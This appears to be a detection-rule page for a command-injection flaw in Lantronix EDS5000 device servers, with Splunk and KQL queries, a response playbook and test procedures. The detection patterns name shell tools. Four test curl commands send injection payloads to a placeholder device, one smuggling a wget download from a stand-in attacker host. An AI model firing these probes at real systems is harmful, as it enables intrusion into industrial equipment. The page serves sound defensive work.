Detect CVE-2025-67038 Lantronix EDS5000 Code Injection Exploitation in Splunk
Detects exploitation attempts targeting CVE-2025-67038, a code injection vulnerability (CWE-78/CWE-94) in Lantronix EDS5000 series device servers. This vulnerability is listed in CISA's Known Exploited Vulnerabilities catalog and allows attackers to inject OS commands or code through the device management interface. The EDS5000 series includes EDS5008, EDS5016, and EDS5032 models commonly deployed as serial-to-network device servers in industrial and enterprise environments.
MITRE ATT&CK
SPL Detection Query
index=* (sourcetype="pan:traffic" OR sourcetype="cisco:asa" OR sourcetype="juniper:junos:firewall" OR sourcetype=access_combined OR sourcetype=httpevent)
| eval dest_port=coalesce(dest_port, dpt)
| where dest_port IN (80, 443, 8080, 9999, 30718)
| eval uri=coalesce(uri, request, cs-uri-stem)
| eval query_string=coalesce(uri_query, cs-uri-query, qs)
| eval full_request=uri."."query_string
| where match(full_request, "(/cgi-bin/|/admin/|/manage/|/config/)")
OR match(full_request, "(;ls|;id|;cat|;pwd|;whoami|;wget|;curl|;nc |\|sh|\|bash)")
OR match(full_request, "(%3B|%7C|%60|%24%28)")
OR match(full_request, "(\.\./|\.\.[/\\\\])")
| eval src_ip=coalesce(src_ip, src, c-ip)
| eval dest_ip=coalesce(dest_ip, dest, s-ip)
| eval risk_score=case(
match(full_request, "(;id|;ls|\|sh|\|bash)"), 90,
match(full_request, "(%3B|%7C|%60)"), 80,
match(full_request, "(\.\./)"), 70,
true(), 50
)
| where risk_score >= 50
| stats count, earliest(_time) as first_seen, latest(_time) as last_seen, values(full_request) as requests, max(risk_score) as max_risk by src_ip, dest_ip, dest_port
| where count >= 1
| sort - max_risk, - countDetects potential exploitation of CVE-2025-67038 by analyzing web access logs and firewall logs for requests to Lantronix EDS5000 management ports containing command injection payloads.
Data Sources
Required Sourcetypes
False Positives & Tuning
- Authorized penetration testing or vulnerability scanning activities
- Legitimate shell metacharacters used in valid device configuration parameters
- URL-encoded characters in normal administrative operations
- Automated monitoring scripts that interact with device management APIs
Other platforms for CVE-2025-67038
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1CVE-2025-67038 GET-based OS command injection probe
Expected signal: HTTP request to port 80 with URI containing '/cgi-bin/config.cgi' and query string containing ';id' should appear in firewall, proxy, or web server logs
- Test 2CVE-2025-67038 URL-encoded command injection bypass attempt
Expected signal: HTTP GET request to port 80 containing '%3B' in the query string targeting an admin management path
- Test 3CVE-2025-67038 POST-body code injection simulation
Expected signal: HTTP POST request to port 80 targeting '/manage/apply.cgi' with POST body containing ';wget' command injection — captured in proxy or WAF logs if POST body inspection is enabled
- Test 4CVE-2025-67038 path traversal combined with injection
Expected signal: HTTP GET request containing '../' path traversal sequences combined with 'cmd=id' injection parameter targeting EDS5000 management port
References (4)
- https://nvd.nist.gov/vuln/detail/CVE-2025-67038
- https://ltrxdev.atlassian.net/wiki/spaces/LTRXTS/pages/2538438657/Latest+Firmware+for+the+EDS5000+series+EDS5008+EDS5016+EDS5032
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
Response Playbook
Triage
- Identify all Lantronix EDS5000 series devices (EDS5008, EDS5016, EDS5032) in your environment using asset inventory and network scanning; prioritize internet-facing or DMZ-exposed devices
- Review web server and firewall logs on detected source IPs for the 24 hours preceding the alert, looking for reconnaissance patterns (port scans, HTTP 404s on management paths) that indicate pre-exploitation activity
- Determine if the EDS5000 device firmware version is vulnerable by comparing against the latest firmware published at the Lantronix support page; check device management console for firmware version string
- Assess network segmentation: determine if the EDS5000 device has outbound connectivity to the internet or to sensitive internal segments — this determines blast radius if exploitation succeeded
- Correlate source IP against threat intelligence feeds and check for previous alerts or blocked connections from the same IP in the past 30 days
Containment
- Immediately restrict access to EDS5000 management interfaces (ports 80, 443, 8080, 9999, 30718) via firewall ACLs or network segmentation — limit access to authorized management IPs only using allowlist approach
- If active exploitation is confirmed, isolate the affected EDS5000 device from the network by placing it in a quarantine VLAN or disconnecting its network interface until firmware can be patched or replaced
- Block the attacker source IP at perimeter firewall and web application firewall for immediate threat containment, and share IOCs with upstream ISP if the attack is ongoing
Evidence Collection
- Capture full HTTP access logs from the EDS5000 management interface or upstream proxy/firewall for the relevant time window — preserve the raw log files with hash verification before any remediation
- Export network flow data (NetFlow/IPFIX) for all connections to and from the EDS5000 device for the 48-hour window around the alert, including any new outbound connections that may indicate command-and-control activity
- If possible, perform a firmware integrity check by downloading the current device firmware image and comparing its hash against the vendor-published expected hash to detect potential firmware tampering
Escalation Criteria
- !Escalate to incident response immediately if the EDS5000 device shows signs of post-exploitation activity: new outbound connections to external IPs on unexpected ports, changes to device configuration, or serial port traffic manipulation
- !Escalate if the compromised EDS5000 device is connected to operational technology (OT) or industrial control system (ICS) networks — the device server nature of EDS5000 means serial-connected equipment may be at risk
Investigation Guide
Related Techniques
Forensic Artifacts
- >
EDS5000 HTTP access logs containing injection payloads in request URIs or POST bodies — typically found in /var/log/ on the device or in upstream proxy logs - >
Network flow records showing unusual outbound connections from the EDS5000 device IP to external hosts after the exploitation attempt, particularly on ports 4444, 1337, or other common reverse shell ports - >
Firewall deny/allow logs for connections to EDS5000 management ports that can establish a timeline of reconnaissance versus exploitation phases - >
Device serial port traffic logs if the EDS5000 was successfully compromised — the attacker may manipulate or eavesdrop on connected serial devices
Tuning Guidance
Start with a high-sensitivity deployment monitoring all requests to ports 80, 443, 8080, 9999, and 30718 destined for known EDS5000 IP ranges. After baseline establishment (5-7 days), refine by excluding known management IP addresses used by authorized administrators. Add exclusions for specific URL patterns used by your monitoring tools. Tune the risk score threshold based on your environment's false positive rate — environments with active EDS5000 management tooling may need to raise thresholds or add additional context requirements. For highest fidelity, integrate with your asset inventory to filter alerts to confirmed EDS5000 device IPs only.
Hunting Queries
Threat hunting query to identify Lantronix EDS5000 devices in the environment receiving anomalous volumes of management interface connections, which may indicate scanning, brute force, or exploitation campaigns targeting CVE-2025-67038 across the fleet
CommonSecurityLog
| where TimeGenerated >= ago(7d)
| where DestinationPort in (80, 443, 8080, 9999, 30718)
| where DeviceVendor =~ "Lantronix" or DeviceProduct has_any ("EDS5008", "EDS5016", "EDS5032", "EDS5000")
| summarize ConnectionCount=count(), UniqueSourceIPs=dcount(SourceIP), Requests=make_set(RequestURL, 50) by DestinationIP, bin(TimeGenerated, 1h)
| where UniqueSourceIPs > 5 or ConnectionCount > 50
| order by ConnectionCount descindex=* (sourcetype="pan:traffic" OR sourcetype="cisco:asa" OR sourcetype="netflow")
| eval dest_ip=coalesce(dest_ip, dst_ip)
| eval dest_port=coalesce(dest_port, dpt)
| where dest_port IN (80, 443, 8080, 9999, 30718)
| stats count as connection_count, dc(src_ip) as unique_sources, values(src_ip) as source_ips by dest_ip, dest_port
| where connection_count > 20 OR unique_sources > 3
| sort - connection_countAtomic Red Team Tests
Simulates a basic OS command injection probe against a Lantronix EDS5000 management web interface using a GET request with shell metacharacters in a parameter value. This tests whether the detection fires on simple injection syntax.
Command
curl -sk 'http://TARGET_EDS5000_IP/cgi-bin/config.cgi?param=value;id' -H 'User-Agent: Mozilla/5.0' -o /tmp/eds_test_out.txt 2>&1; echo 'Exit code: '$?Cleanup
rm -f /tmp/eds_test_out.txtExpected Telemetry
HTTP request to port 80 with URI containing '/cgi-bin/config.cgi' and query string containing ';id' should appear in firewall, proxy, or web server logs
Expected Detection
Alert should fire from kql/spl/elastic_eql query detecting ';id' pattern in request URI to port 80 on EDS5000 target IP
Simulates an evasion attempt using URL-encoded shell metacharacters (%3B for semicolon, %7C for pipe) to bypass simple string-match defenses while still delivering an OS command injection payload.
Command
curl -sk 'http://TARGET_EDS5000_IP/admin/diagnostics.cgi?host=127.0.0.1%3Bid%3Bwhoami' -H 'User-Agent: Mozilla/5.0' -o /tmp/eds_encoded_out.txt 2>&1; echo 'Exit code: '$?Cleanup
rm -f /tmp/eds_encoded_out.txtExpected Telemetry
HTTP GET request to port 80 containing '%3B' in the query string targeting an admin management path
Expected Detection
Detection should fire on URL-encoded injection pattern '%3B' in request to '/admin/diagnostics.cgi' — tests encoded bypass detection coverage
Simulates a POST-based code injection attack (CWE-94) against the EDS5000 configuration endpoint, embedding a command injection payload in a POST form body parameter to test coverage of non-GET injection vectors.
Command
curl -sk -X POST 'http://TARGET_EDS5000_IP/manage/apply.cgi' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Mozilla/5.0' -d 'config_field=normal_value;wget+http://attacker.invalid/payload+-O+/tmp/p' -o /tmp/eds_post_out.txt 2>&1; echo 'Exit code: '$?Cleanup
rm -f /tmp/eds_post_out.txtExpected Telemetry
HTTP POST request to port 80 targeting '/manage/apply.cgi' with POST body containing ';wget' command injection — captured in proxy or WAF logs if POST body inspection is enabled
Expected Detection
Detection coverage for POST-body injection depends on whether the log source captures request bodies; confirms detection gap if WAF/proxy does not log POST parameters — useful for identifying logging configuration gaps
Tests detection of a combined path traversal and command injection attempt against the EDS5000, simulating an attacker chaining directory traversal (CWE-22) with the primary code injection vulnerability to access alternative execution paths.
Command
curl -sk 'http://TARGET_EDS5000_IP/cgi-bin/../admin/../../cgi-bin/exec.cgi?cmd=id' -H 'User-Agent: Mozilla/5.0' --path-as-is -o /tmp/eds_traversal_out.txt 2>&1; echo 'Exit code: '$?Cleanup
rm -f /tmp/eds_traversal_out.txtExpected Telemetry
HTTP GET request containing '../' path traversal sequences combined with 'cmd=id' injection parameter targeting EDS5000 management port
Expected Detection
Detection should fire on both the '../' traversal pattern and the '?cmd=' injection pattern — tests compound payload detection